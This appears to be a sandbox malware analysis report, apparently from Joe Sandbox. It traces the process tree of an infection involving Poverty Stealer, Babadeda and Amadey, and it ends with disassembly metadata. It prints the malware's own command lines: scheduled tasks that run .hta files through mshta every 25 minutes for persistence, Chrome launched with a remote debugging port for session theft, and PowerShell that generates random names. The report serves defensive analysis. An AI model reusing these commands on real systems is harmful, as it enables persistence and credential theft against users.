Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:39:54
Start date:	12/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1038856001\HNsLLEj.exe"
Imagebase:	0xdb0000
File size:	91'760 bytes
MD5 hash:	BCB905E5911BB8FE587B8FDF40495F08
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PovertyStealer, Description: Yara detected Poverty Stealer, Source: 00000011.00000002.2330743352.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	11:39:54
Start date:	12/01/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7544 -s 912
Imagebase:	0x240000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	11:39:59
Start date:	12/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1038908001\bKIFsVe.exe"
Imagebase:	0x400000
File size:	1'918'464 bytes
MD5 hash:	38A3DB1B2362BFB8E0E0537F4299796A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	11:40:04
Start date:	12/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe"
Imagebase:	0x400000
File size:	91'648 bytes
MD5 hash:	594C5B62E08311E01197A10A18CECB7B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Babadeda, Description: Yara detected Babadeda, Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	11:40:05
Start date:	12/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\7EA0.tmp\7EB1.tmp\7EB2.bat C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe"
Imagebase:	0x7ff7b9d30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	11:40:05
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	11:40:05
Start date:	12/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c "C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe" any_word
Imagebase:	0x7ff7b9d30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	11:40:05
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	11:40:05
Start date:	12/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe any_word
Imagebase:	0x400000
File size:	91'648 bytes
MD5 hash:	594C5B62E08311E01197A10A18CECB7B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	11:40:05
Start date:	12/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\842E.tmp\842F.tmp\8430.bat C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe any_word"
Imagebase:	0x7ff7b9d30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	11:40:05
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	11:40:06
Start date:	12/01/2025
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 2
Imagebase:	0x7ff764780000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	11:40:08
Start date:	12/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user~1\AppData\Local\Temp\1038978021\am_no.cmd" "
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	11:40:08
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	11:40:08
Start date:	12/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"
Imagebase:	0x7ff7b9d30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	11:40:08
Start date:	12/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c "C:\Users\user~1\AppData\Local\Temp\1038978021\am_no.cmd" any_word
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	11:40:08
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	11:40:08
Start date:	12/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	11:40:08
Start date:	12/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	11:40:08
Start date:	12/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"
Imagebase:	0x860000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	11:40:11
Start date:	12/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	11:40:11
Start date:	12/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Imagebase:	0x860000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	11:40:11
Start date:	12/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Imagebase:	0x7ff7b9d30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	11:40:12
Start date:	12/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	11:40:13
Start date:	12/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	11:40:14
Start date:	12/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Imagebase:	0x860000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	11:40:14
Start date:	12/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1039079001\b2ee16741f.exe"
Imagebase:	0xd20000
File size:	1'949'184 bytes
MD5 hash:	815D10533B90709F0F9E7C473B74277B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000002F.00000002.2628746335.0000000000D21000.00000040.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000002F.00000003.2549630629.0000000005470000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	11:40:15
Start date:	12/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	11:40:15
Start date:	12/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Imagebase:	0x7ff7b9d30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	11:40:15
Start date:	12/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	11:40:17
Start date:	12/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	11:40:17
Start date:	12/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2696 --field-trial-handle=2628,i,12236154864651446305,11948842674796817194,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	11:40:19
Start date:	12/01/2025
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /tn "TFEmhma7T5L" /tr "mshta \"C:\Temp\2alGwEWbJ.hta\"" /sc minute /mo 25 /ru "user" /f
Imagebase:	0xd0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	11:40:19
Start date:	12/01/2025
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\mshta.EXE "C:\Temp\2alGwEWbJ.hta"
Imagebase:	0x7ff6e75e0000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	11:40:19
Start date:	12/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	11:40:19
Start date:	12/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Imagebase:	0x860000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	11:40:21
Start date:	12/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1039112001\fe4d890d0f.exe"
Imagebase:	0xdf0000
File size:	1'862'656 bytes
MD5 hash:	0EBEFA244B6FD0B53F07EBA2BB46A6F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	58
Start time:	11:40:21
Start date:	12/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /tn "xDvMwmaSqhU" /tr "mshta \"C:\Temp\Pn8FljxwM.hta\"" /sc minute /mo 25 /ru "user" /f
Imagebase:	0x7ff77c250000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	11:40:22
Start date:	12/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Imagebase:	0x7ff7b9d30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	60
Start time:	11:40:22
Start date:	12/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	11:40:24
Start date:	12/01/2025
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\mshta.EXE "C:\Temp\Pn8FljxwM.hta"
Imagebase:
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	62
Start time:	11:40:24
Start date:	12/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	63
Start time:	11:40:24
Start date:	12/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Imagebase:	0x860000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 05170D0C Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1428198344.0000000005170000.00000040.00001000.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5170000_UWYXurYZ2x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0beda00e4b51cd044e79f0da57d846a187491d198d87e5996db9c56bc315a4b7
Instruction ID: 698e7049b6ca1b1614de603d547b0560cbc7d647829ec7de07e66f36f5039e4f
Opcode Fuzzy Hash: 0beda00e4b51cd044e79f0da57d846a187491d198d87e5996db9c56bc315a4b7
Instruction Fuzzy Hash: EEE086AF04C328ED10A8E08EEB5CBB6A63BE59F2303378507B407C1201E34957980D61

Function 05170D05 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1428198344.0000000005170000.00000040.00001000.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5170000_UWYXurYZ2x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00d2664e094b2d1399a0b793880a6df244ba1da58e07fe4d962f5d105d786e36
Instruction ID: 4eac0932c48ed7e3e31629bb0ad6548c9ea04cbb5ec2c53e07687ba0818dfa5f
Opcode Fuzzy Hash: 00d2664e094b2d1399a0b793880a6df244ba1da58e07fe4d962f5d105d786e36
Instruction Fuzzy Hash: 92E0DFAF04C368AD50B9D04EE66CBB26B7B91AE2303378142B406C5221F348AB890971

Non-executed Functions

Function 051702E6 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1428198344.0000000005170000.00000040.00001000.00020000.00000000.sdmp, Offset: 05170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5170000_UWYXurYZ2x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f65409fadf0a02d6e133a03f90275bed31d0e6d60c97ae4aefb265c16dcdc3d
Instruction ID: 3a91356eace2c65c088702f00388e1511835124cea59059476530fb101a77801
Opcode Fuzzy Hash: 6f65409fadf0a02d6e133a03f90275bed31d0e6d60c97ae4aefb265c16dcdc3d
Instruction Fuzzy Hash: E711B9EB24D658AFA216C1996B5CEBA7B7EE7CA7303318077F003DA002D7D44E495971

Analysis Process: skotes.exePID: 7236, Parent PID: 932COMMON

Execution Graph

Execution Coverage:	11%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	1174
Total number of Limit Nodes:	42

Executed Functions

Function 00EEE530 Relevance: 14.7, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WTs=, xrefs: 00EF05CA
111, xrefs: 00EEF7A0
246122658369, xrefs: 00EEF737, 00EEFA14, 00EF05E7, 00EF099A
WDw=, xrefs: 00EEF71D, 00EEF9FA
WTw=, xrefs: 00EF097D
9c9aa5, xrefs: 00EEFB8E
MGE+, xrefs: 00EEE821
UA==, xrefs: 00EEEB0F, 00EEED56
GnNoc2Hc, xrefs: 00EEE56C
MQ==, xrefs: 00EEE592
#, xrefs: 00EF0624

Memory Dump Source

Source File: 00000005.00000002.2640452482.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000005.00000002.2639271303.0000000000EE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2640452482.0000000000F42000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2642934014.0000000000F49000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.0000000000F4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000010D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649116538.00000000011F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649752864.0000000001394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649824994.0000000001395000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649901156.0000000001396000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649998186.0000000001397000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: f5f7836e2622b6a111a7b8181a2650484de5c5e18a2b47f27d1d5a201227ac77
Instruction ID: 5ca1311f4e31edb61bb4c8bc72bbb9436e178ea9ce1bfdfeced349ab611f4f94
Opcode Fuzzy Hash: f5f7836e2622b6a111a7b8181a2650484de5c5e18a2b47f27d1d5a201227ac77
Instruction Fuzzy Hash: 5782D17090428C9BEF14EF68C9497DE7FB2EB46304F608598E845673C6C7759A888BD2

Function 00EFD3E2 Relevance: .2, Instructions: 172
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00EE24BE

Memory Dump Source

Source File: 00000005.00000002.2640452482.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000005.00000002.2639271303.0000000000EE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2640452482.0000000000F42000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2642934014.0000000000F49000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.0000000000F4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000010D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649116538.00000000011F6000.00000080.00000001.01000000.00000007.sdmpDownload File
